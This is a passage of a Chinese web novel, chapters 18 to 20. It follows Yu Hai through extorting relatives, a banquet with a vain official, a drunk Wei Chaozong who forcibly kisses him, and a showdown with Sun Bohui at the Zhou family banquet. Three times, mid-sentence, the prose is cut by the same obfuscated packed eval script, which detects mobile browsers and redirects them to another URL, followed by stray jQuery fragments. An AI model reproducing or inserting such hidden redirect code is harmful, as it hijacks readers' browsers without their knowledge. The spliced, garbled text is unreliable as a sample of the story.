于安平想霸占那笔钱,和他老婆天天跑他们家门口破口大骂,嚷嚷着都是他们母子害死了他弟弟。
那段时间江雪梅压力特别大,老公去世、儿子重伤,还有群不是人的亲戚天天叫骂,当着他们的面江雪梅喝了药,差点走上了不归路。
于安平倒也没坏彻底,加上又是个欺软怕硬的,见险些闹出人命,灰溜溜的跑了再没敢来。
江雪梅每每想起当日的事情,心里就后悔得不行,她那时整天陷在自己的绝望悲痛里,在不断的刺激压力下吞了药,却忽视了身心都受重创的儿子。
这么多年过去,江雪梅想起来仍然愧疚又后怕,怎么就选了用自杀去威胁别人的这种蠢办法,她应该拿起刀把这些恶人砍出去。
18. 第 18 章
于安平一家好几年没跟他们联系,直到于海和江雪梅搬到别墅来住,于安平和他媳妇陈兰带着一个小孩子又找了过来。
刚开始大冬天过年的时候,江雪梅见他们抱着小孙子,一方面可怜孩子,另一方面不想让他们在这儿丢人,就给了几个钱打发了。
后来江雪梅发现自己是养虎为患了,隔上个把月就蹲小区门口鬼哭狼嚎拉横幅,不知道的以为来上访的。
光报警都把这家人送进去好几回。
这次他们倒是聪明了些,不拉横幅,改走怀柔政策。
于安平不知是有自知之明知道自己办不了事,还是临阵退缩当起了缩头乌龟,总之这次他没过来,而是把自家媳妇和儿媳推到前面“冲锋陷阵”。
于安平媳妇陈兰有过闹事的前科,但他儿子和儿媳妇没有。
歹竹出好笋,两个年轻人比两个老家伙懂事多了,私底下专门过来赔礼道歉,还带着钱过来准备还给她。
因着于安平的关系,江雪梅对他们没有一点好感,拒绝收他们任何东西,语气恶劣的把人赶出去了,两人也只是不停的鞠躬道歉,并不纠缠,和于安平那混蛋形成鲜明对比。
江雪梅再见于安平儿媳妇,发现她和上次相比,明显的身体情况差了许多。畏畏缩缩的站在自家婆婆身边,面色蜡黄身材消瘦,看着还不如她一个快六十的老年人健康,一手牵着孩子另一只手拎着一箱奶,满脸羞愧和歉意。
一看就知道是被强迫过来的。
江雪梅一时迟疑把俩人放了进来。
陈兰东拉西扯半天不说正题,最后江雪梅不耐烦的打断,让她有话直说。陈兰这才交待来意,想让她在于海面前说说好话,给儿媳妇谋个职位。
江雪梅瞅了眼全程低着头不发一言的女人,好心建议她们,别忙着找工作,她的身体不健康,要找的不是工作而是医生。
陈兰顺杆爬了上来,笑呵呵的说,对,她媳妇身体确实不怎么好,所以想让他们给找个轻松的活,因为要照顾孩子和家里的事,所以必须保证工作时间自由,最好能在家里办公,每个月看着给就行,但是不能低于一万五。
江雪梅听得目瞪口呆。
说一千道一万,还是变着法来要钱的,儿媳妇只是他们要钱的工具人。
江雪梅怒骂她是个不要脸的无赖。
对方脸色变来变去,扭曲着笑脸拉亲戚关系,最后还要加一句,这对你家于海就是动动手指头的事,你不能自己富贵了眼睁睁的看着亲大哥一家饿死啊,那也太没良心了。
江雪梅气的头顶冒烟,再也不想跟他们讲一句废话,抄家伙就把人赶了出去。
这会儿,她给于海复述早上发生的那档子事,都不由得怒火中烧。
于海笑着安抚道:“下次别放他们进来了,直接报警,为他们生气不值得。”
“我就是故意吓吓他们,这群欺软怕硬的,就得让他们见点厉害。”江雪梅吐槽完心里舒服多了,脸上也浮现笑意,招呼道,“馄饨煮好了,快洗手吃饭。”
于海洗罢手,将馄饨盛到碗里,端到客厅的圆桌上,勾了张凳子开始吃饭。
江雪梅坐在他对面,聊着闲话:“咱家隔壁搬来了一户新人家,你知道吗?”
于海笑道:“去串门了?”
“没人在家。”江雪梅给他倒了杯白水放在手边,“早上带乐乐出去玩路过隔壁,静悄悄的什么动静也没有。”
他调笑道:“你还去扒人家门缝了?”
“臭小子,敢编排你妈。”江雪梅嗔怒,想到隔壁的安静,又疑惑道,“说来也奇怪,昨晚我还见隔壁亮着灯呢。”
于海随口回:“可能人家作息比较特别。”
脑海里却闪过深夜看到的那一抹身影。
学术会议持续到下午六点,于海被相熟的合作伙伴拉着,陪一位德高望重的老领导去吃饭。
在场一位抹着油光发蜡戴着金丝边眼镜的中年富商,神神秘秘的说他知道有个好地方。
到地儿后,才明白“好”不是菜品美味,而是秀色可餐。
大圆桌吃个饭,还有弹琴跳舞的助兴,和古代老爷们逛花楼没两样。
但主位的老领导很满意,手指敲打着节拍,沉醉在古香古色的韵味中。
于海已经上船,再撕掉船票也来不及了,硬着头皮融入摇头晃脑的众人中间,假装欣赏“艺术”。
酒至酣处,带他们过来此地的中年富商站了起来,提议玩飞花令。
“今晚满园春色,花好月圆,就以花作为行令之字,您看怎么样?”
于海一个没文化的都听出来“春色”和“花月”的不正经。
主位老领导慢悠悠呷了口茶,神神在在的笑了笑,没说话。
不反对就是赞同。
于海脸上的笑都僵了,梦回高中考场,余光瞥见带他来的那大哥,笑脸已经变苦瓜了。
“在座的都是不拘小节的人,这行令字的位置咱们也随意。”
此话一出,于海眼见在场作陪的,除了他和旁边的大哥,其余人脸上都轻松不少。
中年富商小眼睛逡巡一周,不由自主就锁定在帅到自带聚光灯的人身上。
“就从你那开始吧。”
坐在中年富商对面的于海被第一个点到。
于海表面八风不动,实则搜肠刮肚,憋出了句:“花间一壶酒……”
转头看向身侧的大哥,该他了。
大哥微胖的脸憋的通红:“花…花…”
第一局就败下阵来,尴尬的举杯道歉,给大家扫兴了。
于海也没好到哪去,一桌子十来个人,两圈下来他肚子里存的那点货,已经提前被人给说完了,自罚三杯“黯然”退场。
和大哥尿遁逃离现场,还听见人搁那哀声叹息“怎么也飞不出这花花的世界……
回来时正赶上老领导吟诗,轻描淡写信手拈来。
于海闻所未闻的一句诗,不知道老头从哪摘的生僻诗句,反正他半个文盲,没听过很正常。
然后就见中年富商腾地就站起来了,逮着这句诗做起了阅读分析,夸的天上有地下无,那意思作诗的人能和李杜单开一桌,其他人连作陪都不配,把于海这个文盲听得一愣一愣的。
“方总谬赞了。”老领导和善的笑了笑,“我才疏学浅,不敢跟古人相比。”
“原来竟然是您的大作!”
中年富商吃惊的瞪大双眼,又开始了一轮彩虹屁。
老领导一副世外高人的模样指点众人:“你们年轻人,要多读书,别一门心思追名逐利。黄白之物、酒肉声色生不带来死不带去,都是过眼云烟。”
于海随大流,做出受教的样子。
二十分钟后,视金钱、酒色如粪土的“人生导师”,左手边坐着一个弹琴的,右手边坐着一个跳舞的。大概三人的文学素养相当,老领导像找到知音似的和两位畅聊,露出了今晚最开怀的笑容。
中年富商觉得于海和那位大哥在这场文人聚会中伤了颜面,为了补偿他们,又叫来几个旗袍丽人让他们随便挑。
不要还不行。
“是不是怨我没招待好,你们再推辞,下次我可不敢叫你们
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022246|148702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来了。”
于海和大哥对视一眼,认命的随便挑了一个。
酒过几巡,也快到了散场的时候,于海的手机震动起来,是个陌生号码。
于海起身接听,对面却无人说话。
娇软的女声响起:“于总,谁的电话呀。方总找您喝酒呢。”
电话被挂断,于海想着大概是打错了,也没在意。
散场后,老领导带着两位知音走了,其他人也揽着得意的人深入探讨人生去了。
全程格格不入的于海和那位大哥可能是文化水平太低,实在和这地儿的佳人们没有共同话题,各回各家了。
不过今晚还是有收获的,那位中年富商是M.Z集团的总裁方槐,于海和方槐交流过程中,发现两人都对同一个项目感兴趣,于是敲定时间商量合作事宜。
到家时已是晚上十二点。
于海洗完澡躺下睡觉,叹息,还是自家的床睡起来舒服。
不知睡了多久,持续回响的铃声打断了他的睡眠。
于海捞过来手机。
陌生号码。
不过由于工作性质的原因,这种半夜来电,于海并不陌生。愈是特殊时间段的电话愈代表事情紧急。
于海毫不犹豫的点了接听键。
对面叫出了他的名字:“于海?”
“您是?”
“褚骋戎。”
于海一愣,不动声色的笑道:“褚少,有何指教?”
“抱歉,深夜打扰。有件事麻烦于总。”
“褚少请说。”
褚骋戎声音温和,却带着不容质疑的意味:“麻烦于总过来一趟。”
“现在?”
“对,现在。”
“褚少方便透露一下是什么事吗?”
褚骋戎笑声传过来:“放心,对于总绝对是百利无一害。”
对面挂断了电话,似乎笃定他不会拒绝。
于海翻身坐起,看了下时间,凌晨一点。
顶多睡了半个点,一通电话下来,于海也清醒的差不多了。前有孙震元,后有魏朝宗,他总不能再得罪一个褚骋戎。
既然褚骋戎说了对他有利,去看看也无妨,说不定人家褚大少有半夜谈项目的怪癖。
于海思索着褚骋戎所说利益的具体指向,开车抵达了东区的一个私人俱乐部。
俱乐部的等级从安保就能看出来。
于海打一进大门,看到体格强健明显经过专业训练的安保人员以及他们配备的武器装备,便知道这个地方和他以往去的娱乐场所不是一个规格。
不过,服务人员的基本素养有待提升啊。
他停车的时候,泊车小弟眼中的怀疑都要溢出来了。
于海慢悠悠的将大众牌汽车停在了宾利和兰博基尼中间,在泊车小弟一言难尽的目光中走入了俱乐部内门。
跟着服务生走到一个紧闭的包厢门口,于海还想究竟是什么项目需要褚大少半夜三更把他叫过来。
晦暗不明的包厢内仅有两个身影,空气中充斥着酒精的味道,地板上散落着酒瓶和玻璃碎片,于海眼尖的看到不少歪倒的完整酒瓶里面还有残余酒液。
于海心中咯噔一声,眯眼朝沙发上一瞧,看到了低着头坐在沙发上的魏朝宗。
……
“你可终于来了!”
褚骋戎一副看到救命稻草的模样,敢情电话里的淡定自若是为了把他诳过来!
于海扯了扯嘴角,佯装不知:“褚少,您这是?”
褚骋戎赶忙过来拽着于海的胳膊往沙发的方向走。
19. 第 19 章
褚骋戎也是没办法了。
本来这是乔叶轩为了替他小弟向魏朝宗赔礼,专门组的局,还拉上了他从中调解。
魏大少,他们是请来了。
谁敬酒都喝,主打一个来者不拒。
刚开场乔叶轩还拉着褚骋戎美滋滋的窃窃私语,魏大少今天真给面子啊,看来心情不错。
一小时后,众人都有了醉意,想着换个项目玩。心情“不错”的魏大少一个眼神扫过来,把所有人都定在了原地。
乔叶轩后知后觉,虽然平时的魏大少就不怎么正常,但今晚的他格外邪性。
看着魏朝宗一杯杯的灌自己,乔叶轩有点害怕了,这要是在他场子里出点事,把他皮扒了卖都赔不起。
正思考应对策略,就见已经有几分醉意的魏朝宗目光变得坚定,拿手机拨了一个号。
也不知道手机对面是什么人,说了什么话,方才还喝闷酒的魏大少,突然暴怒将手机砸在了茶几上,一同落下的还有紧攥着手机的拳头。
手机四分五裂,手指和手背绽开裂口渗出鲜血滴落在地板上。
犹不解恨似的,魏朝宗抄起手边的洋酒瓶摔在了茶几上,碎裂的玻璃渣划过了冰冷的侧脸,一滴血珠顺着脸颊滑落,此刻的魏朝宗彷佛从地狱爬上来的恶鬼。
在场人都被吓傻了,大气不敢喘,哆哆嗦嗦的求助目光聚集到褚骋戎身上。
褚骋戎:……
他就知道,最后还他妈练他一人!
早知道现在这样,他压根不该过来凑热闹。
褚骋戎无奈的点点头。
其他人一看褚大少答应挡在前头,一个个溜得比兔子还快。
那边魏大少又把茶几给踹翻了,捞了个瓶酒往嘴里灌,手上还流着血,鲜红的血流到瓶壁上把酒瓶都染红了。
褚骋戎真觉得瘆得慌。
对面就算把天给捅个窟窿,也不值当魏朝宗发这么大火啊。
褚骋戎站在原地一时不敢动,盛怒之中的老虎,他也不敢近身捋胡须。
观察魏朝宗情绪似乎平复了些,才上前询问发生了什么事。
魏朝宗低着头一句话也不说。
褚骋戎好话说尽也不见对方有什么反应,搁平时,魏大少早骂他聒噪了,这会他却像听不见似的,沉浸在另一个世界里。
就这么僵持着,褚骋戎急得团团转,他怕再搞下去,魏朝宗今晚会喝死在这儿。
可谁敢劝并且能劝动魏朝宗啊?
急中生智,褚骋戎想起了一个人——于海。
先是派人立刻去查于海的联系方式,查到后迫不及待的拨了于海的手机号。
这个时间点,如果于海不接电话,褚骋戎也不知道该怎么办了。
大半夜的派人过去砸人家家门,把于海给抓过来吗?于海跟他无冤无仇的,他还干不出这么突破底线的事。
幸好,于海接通了电话,褚骋戎暗暗松了口气,将人忽悠了过来。
“我把朝宗交给你了,他受伤了,你好好劝劝。”
于海站定在魏朝宗旁边,不一会儿听到咔哒轻响——褚骋戎溜走了。
俯视打量低垂脑袋的魏朝宗,看见他手背血迹斑斑,手指滑落血痕。
从残缺茶几上的血迹判断,魏朝宗的拳头大概和质地坚固的玻璃来了个硬碰硬。
褚骋戎这次倒是没撒谎,魏朝宗确实受伤了。
“魏少,魏少……”
于海连续叫了几声,不见反应,有些不耐。
俯身拍了拍对方的侧脸,手上用了点力气,一只手猛地攥紧了他的手腕。
魏朝宗抬起头,侧脸一处两厘米长的口子,蜿蜒一道血线,目光阴沉得要杀人。忽地杀意消散,瞳孔颤了颤,眼底雾气氤氲,扩散笼罩了双眸。
“于……海……”
于海尚未来得及反应,就被一个熊抱紧紧锁住了腰背。
“你不要……”魏朝宗说话含含糊糊的,叽里咕噜说了一大堆,于海只听懂几个字眼,什么“离开”、“女人”、“男人”……
于海压根没弄懂他的意思。
看来魏朝宗确实醉的不轻。
醉成这模样的魏朝宗,褚骋戎都搞不定?大晚上打电话叫醒他。
然后于海试图把魏朝宗的手掰开,硬是没掰动,反而弄的自己手上沾了血,束缚住他的力道更大了。
行吧,他有些理解褚骋戎了,醉是醉了,力气倒是一点没减。
“魏少?能不能松松手?”于海好声好气的跟人商量。
显然醉鬼是完全听不懂的人话的。
困住他的双臂不仅没松开,靠在他肩窝的脑袋也不安分起来。
于海感到耳边传来一阵温热的气息,下一秒他的耳垂被裹入一个湿热的空间。
意识到那是什么,于海毛骨悚然。
“卧槽!”于海抓住了魏朝宗的头发,毫不留情的把人往后扯。
魏朝宗松开口,仰头皱眉含糊道“疼”
活该!
于海阴恻恻的笑:“疼死你算了。”
见魏朝宗似乎老实了点,松了松手。
然而就在他放松的一刹那,喊着疼的人猛地扑过来咬他的嘴。
于海都傻了。
??
愣了两秒才反应过来,怒上心头,正想给魏朝宗一个教训。
魏朝宗却主动离开了,迷蒙的醉眼盯着他傻乐。
于海简直气笑了:“我警告你,再来一次我真的会揍你。”
魏朝宗跟个傻子似的眼睛一眨不眨的盯着他看。
于海把人推倒在沙发上,这次对方倒没有反抗,迷醉的目光始终停留在他的脸上。
“好了,现在开始睡觉。”于海用手阖上魏朝宗的眼睛。
对方顺着他的动作闭了眼,不过一旦于海的手掌离开,那双眼睛立刻就会睁开,目不转睛的盯着他看。
于海也是无奈了,干脆把手掌盖在对方的眼睛上,直到感觉对方呼吸均匀,取出手机给褚骋戎发了条信息。
褚骋戎带着医生蹑手蹑脚推门进来,惯于发号施令的人,踌躇不定的寻求他人的意见,压低声音问:“确定吗?未经朝宗允许不太好吧?而且他好像已经睡着了。”
褚骋戎怀疑自己找来于海应对魏朝宗,属于病急乱投医的行为。
“你确定包扎不会弄醒他?”于海瞥了褚骋戎一眼:“如果褚少不想让魏少的手落下后遗症,就照我说的办。”
褚骋戎不满对方的语气,但事到如今,确实也没什么好办法,他总不能半夜把周维请来吧!何况他还不能保证周维一定能压制住魏大少爷。
褚骋戎摆摆手,示意医生麻溜的赶紧动手注射镇定剂。
似乎察觉到“危险”靠近,沉睡的魏朝宗皱起眉头,拳头紧握再次渗出血滴。
于海用手掌捂住了魏朝宗的双眼。
褚骋戎惊奇的看到,在于海手掌覆在魏朝宗眼睛上的瞬间,所有的挣扎尽数被抚平。
打完镇定剂不久,魏朝宗便陷入昏睡,私人医生检查了魏朝宗的伤势,对伤口做了处理。
于海:“褚少,既然事情已经解决,我就先走了。”
褚骋戎愣了愣:“你不继续留下来陪着?”
以为于海脑子没转过弯,褚骋戎提醒:“你现在走了,他酒醒之后可能会忘了今晚的事。你不想做他醒来第一个看到的人?”
“我没这个荣幸。”
“有的机会千载难逢,错过了会遗憾终身。”
于海忍不住笑了。
“你笑什么?”
“褚少,我和魏少什么关系?”于海自问自答,“两个世界的陌生人。褚少确定魏少醒来看到我的脸,不会更加的愤怒?我可承受不起魏少的怒火。”
褚骋戎还想再劝。
于海已经起身准备离开了,临走之际说:“今晚我来过的事,请褚少保密。如果魏少问起,就说我没有来过。”
褚骋戎不解:“保密?”
于海委婉的说:“以魏少的高傲,大概不想让别人看到他隐藏的另一面。褚少如果真的为我好,那就不要让魏少知道我来过。”
说完,于海头也不回的离开了。
魏朝宗陷入了漫长的梦境,这个梦他做了无数遍,那是第一次见到于海的时候。
他不想继续活下去,于是拖着遍体鳞伤的身体呆在阳光照射不到的角落等待死亡降临。
他恨透了这个充满着欺骗的荒诞世界,恨生他的人,恨养他的人,也恨他自己,现在他终于可以带着折磨他的恨意死去了。
等待死亡的时刻是安静的,他闭上眼感受着生命的流逝,身体传来的疼痛彷佛一个个音符,在幽暗死寂的深渊地狱,为他奏响离去的挽歌。
魏朝宗静静的享受着死亡的这一刻,然而突兀的脚步声却打乱了他平静的濒死体验。
魏朝宗不耐烦的睁开眼,要怎么惩罚这个打扰他的人?剥肤椎髓似乎也不解恨。
一只手伸到他的面前,那是他见过最难看的手之一。
手指灰扑扑的毫无血色,灰色的尘土彷佛已经融入了他的血肉,虽然手指形状修长,但上面布满了老茧,每一根手指都粗糙的像干枯的树皮,手背
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022247|148702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上的青筋如蚯蚓般虬结。
魏朝宗满怀恶意的想,这个人大概活着都很困难吧,死了反而结束了努力活下去的痛苦。
“你还好吗?”带着点试探的华语问候。
国人?国内吃得苦头不够,还要专程跑到异国他乡来吃苦么?
魏朝宗懒懒的抬起眼皮,怔住了。
那是一张和苦难两个字完全不相匹配的脸。
男人微笑着蹲下身:“看来我没认错,你应该也是华国人吧。”
魏朝宗没有回答,垂下眼不想理他。
算了,让他活着更好,这样的长相和罪恶的世界交织出的苦难,想必更加接近地狱的色彩。
“抱歉,刚注意到你流血了。”男人声音没有丝毫歉意,也没有惊慌,“别怕,我检查了你的伤口位置,死不了。”
男人当然不是刚注意到他受伤的情况,既然看到了他,定然也看到了地上蔓延的血迹。
魏朝宗顿生被戏耍的恼怒,但他还是不想杀掉眼前的男人,只冷冷的说:“血流干了,自然就死了。”
魏朝宗想用最冰冷的语气最凶狠的眼神吓退对方。
男人却笑得更开心了:“那我等一会儿。”
“等什么?等着看我死?”
“好奇,我还没见过人慢慢死去的样子。”
“你不怕我杀了你,带你一起死。”
“荣幸,我还以为你是个独行侠,死也要坚守孤身一人哪。”男人从袋子里掏出一个肉饼吃了起来,“看来你这会精神还不错,离死去还需要一段时间,我饿了,边吃边等,你不介意吧?”
魏朝宗气得胸膛起伏不定,额头蹦出青筋,攥紧手里的刀刺过去。
男人敏捷的躲开,一脚将他手中的刀踢开。
魏朝宗倒在地上,似乎刚才那一击已经用光了所有的力气。
他的身侧是脱下来的外套,里面藏着一把手枪,魏朝宗的手指慢慢摸索向那支隐藏在暗处的杀器。
男人还在喋喋不休:“死了一了百了,倒是个解脱的好方法。不过,这个地方不好,虽说死了就什么也不知道了,但你想想,你的尸体可能会被当作垃圾丢到垃圾堆,可能会被野狗分食,还可能被某些变态捡走。”
魏朝宗找枪的手一顿。
猝不及防的,他沉重的身体忽然悬空,被人扛了起来。
“所以,我们还是换个地方找死吧。”男人慢悠悠的说。
“你的外套我就不帮你拿了,脏兮兮的,反正你也要死了,用不上。”
魏朝宗趴在男人的肩膀上,望着阴暗角落里脏污灰暗的血迹离他越来越远,下一秒晕倒在绚烂的日光里。
梦里的魏朝宗也陷入黑沉的睡眠中。
魏朝宗很久没有睡过这样好的觉,醒来却感觉头痛欲裂。
“于海……”他喃喃道。
魏朝宗猛地清醒,试图寻找梦中人的身影:“于海!”
褚骋戎被吓得一个激灵,从沙发上弹坐起来:“怎么了?朝宗,你醒了。”
“于海是不是来过?”魏朝宗双眼紧盯着他。
褚骋戎不由得绷紧心神,想到昨天于海对他的交待。
“昨天是我们圈子里的聚会,于海怎么会来。”褚骋戎不动声色,“你如果想见他,我现在安排人联系他。”
魏朝宗默然片刻,淡淡道:“不用。”
褚骋戎悬着心总算放下了。
魏朝宗踩着散落一地的玻璃残渣,离开了包间。
他喝了很多酒,醉的人事不省,但无论被酒精麻痹到何种地步,魏朝宗永远不会认错那个人。
魏朝宗知道于海来了。
他开心却也难过。
于海不想让他知道,他便假装不知道。
然而他可以骗得了别人,却始终骗不了自己。
周家。
“少爷,周先生在书房等你。”
魏朝宗完全没有理会,游魂般向三楼走去。
“魂不守舍,像什么样子。”周维从书房出来,不满的呵斥。
“什么样子?”魏朝宗讥笑,“你不是最清楚吗?我因为谁,为了谁。”
“五年。”周维皱眉,“五年的时间,你还没有看清他是什么样的人吗?”
魏朝宗宁愿自己从不曾明白。
他看得清清楚楚,正是因为看得清,他才明白那个人不爱他。
从来没有爱过。
“我不需要你来告诉我。周维,如果你想周家太平,那就摆正自己的位置。”魏朝宗眉目间一片漠然,“不要逼我废了周家,我敢,我也能做到。”
20. 第 20 章
递上邀请函走入周家的那一瞬,于海想起一周前凌晨那一遭,想到这段时间魏朝宗各种异常的行为,心情不免有些复杂。
五年前,魏朝宗对他感情深厚,于海不怀疑这一点。
如今……
于海眸色渐深:是否加入这场赌局,还有待观望。
他身上肩负的不仅是自己的人生,不会去博必输的赌局。
周家大宅。
褚骋戎手肘撑在二楼的护栏上,侧身看向俯瞰大厅的人:“叫我上来有吩咐?”
“促成于海和孙伯辉见面。”
褚骋戎诧异道:“于海也来?”
“嗯。”
褚骋戎没想到魏朝宗居然明目张胆的就把于海带进了周家。
而且要在周家宴会上替对方解决麻烦。
“现在就出手?等他跌入绝境的时候伸出援手,不是更好?他一定会紧紧抓住你这根救命稻草。”
魏朝宗淡淡道:“你太小看他了,即使身处绝境,他也能翻盘。”
褚骋戎觉得魏朝宗对于海的滤镜太大,草根出身的于海怎么可能斗得过身家雄厚的孙家。
魏朝宗不再多做解释。
于海没有破釜沉舟,就证明他有足够的自信赢下这局,尽管他面对的敌人是比他强大数倍的庞然大物。
他会利用他身边的一切去赢得胜利。
当魏朝宗查明这场冲突的内情,他恼怒孙伯辉的卑劣手段,气愤孙震元的痴心妄想,嫉妒两人亲密的相处,但同时他让自己冷静下来思索于海接下来会怎么做。
事业是于海最看重的东西,孙伯辉无疑触动了他的逆鳞。
于海的反击是什么呢?
孙伯辉在乎的是他的继承人和家族。
于海会利用孙震元这颗棋子将孙家搅动的天翻地覆。
魏朝宗不想让于海和孙震元再产生一丝一毫的牵扯。
周家宴会的规格果然非寻常能比,一眼望去,尽是政商名流。
于海搜寻孙伯辉的身影。
八点,随着浪漫舒缓的钢琴曲落下最后一个音符,周维从楼梯上缓步而下,他的身后跟着一位极为英俊的年轻人,正是魏朝宗。
“各位朋友百忙之中前来赴宴,周某不胜荣幸……”
于海视线掠过众人目光的焦点,落在手持拐杖的中年人身上。
作为孙氏集团的掌舵者,无论在他的儿女心目中还是大众眼中,孙伯辉一直是说一不二的掌权人、大家长。
而现在,唯我独尊的孙伯辉正以仰视的姿态注视台上的周家人。
于海心中不由得泛起波澜,权利的滋味当真美妙。
他漫不经心的收回视线,正对上魏朝宗直直看过来的目光。
此时,台上的周维正温和而不失威严的介绍周家的下一任继承人。
“我老了,担子终归要交予年轻人。朝宗今后会进周氏学习,还望各位多关照他。”
于海呼吸一窒,垂眼错开与魏朝宗的对视。
如果他没看错,周维察觉了魏朝宗的反常,向他的位置扫了一眼。
周维结束讲话后,晚宴正式开始。
于海和人微笑交谈,眼角的余光瞥见周维正和孙伯辉交流。
两人脸上俱是笑意,实在不像有仇的样子。
不排除两人城府极深互相飙戏的可能性,但与之相比,于海更怀疑魏朝宗编谎。其他人不敢造谣周维,魏朝宗敢啊。
何况听魏朝宗的语气,他对这位舅舅并不满意,造谣的可能性更高了。
不过,既来之则安之。
于海收回视线,既然过来了,自然不能放掉解决事情的机会。
“于总。”
儒雅的男人含笑走过来,和于海交谈的几位识趣打完招呼避开。
“褚少。”
褚骋戎低声耳语:“保密的事,你放心。”
“多谢褚少。”
褚骋戎微笑道:“走吧。某人交代我,带你去见孙伯辉。”
那边孙伯辉已经结束和周维的寒暄,正面带微笑的跟老朋友们叙旧。
褚骋戎的到来吸引了他们的目光。
“晚辈有些事想单独请教孙董,各位不介意吧。”
众人忙说请便。
褚骋戎放缓脚步领路。
“不知褚少有什么事?”孙伯辉前些年突发中风,人救回来了,双腿却落下隐患,走慢了与常人无异,走快了便能察觉有点跛脚。
褚骋戎眉目含笑:“我有位朋友想见您。”
褚骋戎的朋友?孙伯辉脑海划过几家豪门世家公子哥的名字,猜测究竟是哪一位,目的是为何。
走至角落的休息区,站在窗前远眺的年轻人转过身来。
孙伯辉瞳孔微微一缩。
“孙董,慕名已久,今天终于见到您了。我是于海。”
孙伯辉笑容亲和善意,似乎面前站着的是亲近的晚辈。
“你们聊。”褚骋戎临走前叫了声尊称,语气轻松的说,“孙伯伯,我们年轻人做事冲动,如果不慎冒犯了您,还请您看在褚家、周家的面子上不要放在心上。”
暗含的警告之意让孙伯辉心中一凛,没想到他没放在眼中的毛头小子竟然攀上了周、褚两家。
褚家他尚可以忽视,但周家、还有背后的魏家,不得不令他忌惮。
于海笑着扶人落座:“来,您小心些。”
孙伯辉神色僵了僵,他的胳膊被架住,被一种不容抗拒的力量压在了沙发上。与其说被搀扶,更像被挟持。
这场谈话还未开始,孙伯辉知道某些事已成定局——他不能再对百川出手了。
于海说什么都不重要,褚家大少的态度决定了结果。
“上周二少来找我,澄清了一些误会。”
孙伯辉面带一贯的慈和笑容:“误会澄清了便好。”
“孙总不想知道是什么误会吗?”于海笑道,“以前我一直以为孙大少针对、厌恶我,经过二少的解释,我才恍然大悟,原来孙大少喜欢我。”
孙伯辉的假面破碎开一道裂缝。
“不是兄弟情。”于海好意解释,“是盖在棺材板里的旧时代认为不容于世俗的感情关系。”
假面彻底碎裂,孙伯辉脸色唰的黑了下来。
“坦白讲,我没有把所谓的喜欢当真。”于海笑着说,“孙大少的性情您比我清楚。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022248|148702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他从前喜欢女人,现在喜欢男人,今天喜欢我,明天也会喜欢其他人。最初的孙大少也不过一时新鲜。”
“不过据二少所说,孙大少仍然不改初心,大概是经过了某些挫折的催化。正如许多大家长认为孩子需要经历过挫折的淬炼才能坚定心性,同样的,经历过波折的情感才更深刻。不知孙总有没有听过这样一句话,被全世界反对的爱情才叫真爱。”
孙伯辉的脸色像打翻了调色盘精彩纷呈,他沉默许久,才恢复温和的神色,缓声说:“受教了。”
于海笑道:“孙董严重了,我可不敢教您东西。只是我和孙大少同为年轻人,多少有些共情,孙大少年轻气盛,你压得越厉害,他越逆反。孙董不妨抬抬手,看看孙大少会走到哪一步。当然,您可以放心,我不会再接近孙大少,毕竟脚踏两只船容易翻船的道理,我还是懂得。”
孙伯辉笑着叹口气:“于总已经考虑的面面俱到,我无话可说。”
周维停留在宴会厅的时间不长,于海这边结束谈话,他已经携三两好友上了二楼书房。
留下魏朝宗和一位辅佐他的精英人士主持大局。那人于海曾见过一面,五年为带走魏朝宗找他谈判的周维的秘书,姓张。
张秘书对见到他出现在宴会没有表露出任何的惊讶,看见他后礼貌的举杯示意,然后继续站在魏朝宗身后,兢兢业业的帮自家太子爷打辅助。
不得不说,不发疯的魏朝宗正经起来倒真有几分唬人的派头。
言行举止完美优雅,挑不出丁点毛病。
于海的夸赞维持了不到一分钟,就见魏朝宗的视线四散游移,看到他时眼睛一亮,从围住他的名流人士中间脱身,步伐莫名的有些着急,走到他面前时呼吸都错乱了几分。
魏朝宗眼睛亮晶晶的看着他,和那只阿拉斯加如出一辙。
狗随其主,还是有道理的。
魏朝宗一把握住于海的手腕,圈得不紧却是难以挣脱的恰恰道力度,不由分说的拉他向外走:“跟我来。”
全场的目光瞬间全部聚焦在同一个地方,饱含好奇与探究。
孙伯辉也注意到了那边的动静。
如果说刚才孙伯辉还对于海的话产生疑虑,看到这一幕他的疑虑已经打消了。
脚踏两只船……
原是这个意思,两只船指的不是孙家、周家,也不是褚家、周家,而是他儿子和魏朝宗。
虽和魏大少接触不多,但只言片语中能看出这是位极为霸道的人。
想必不会容许自己的所有物做出任何出格的行为。
孙伯辉老怀安慰,他儿子和这个男人的孽缘终于要结束了。
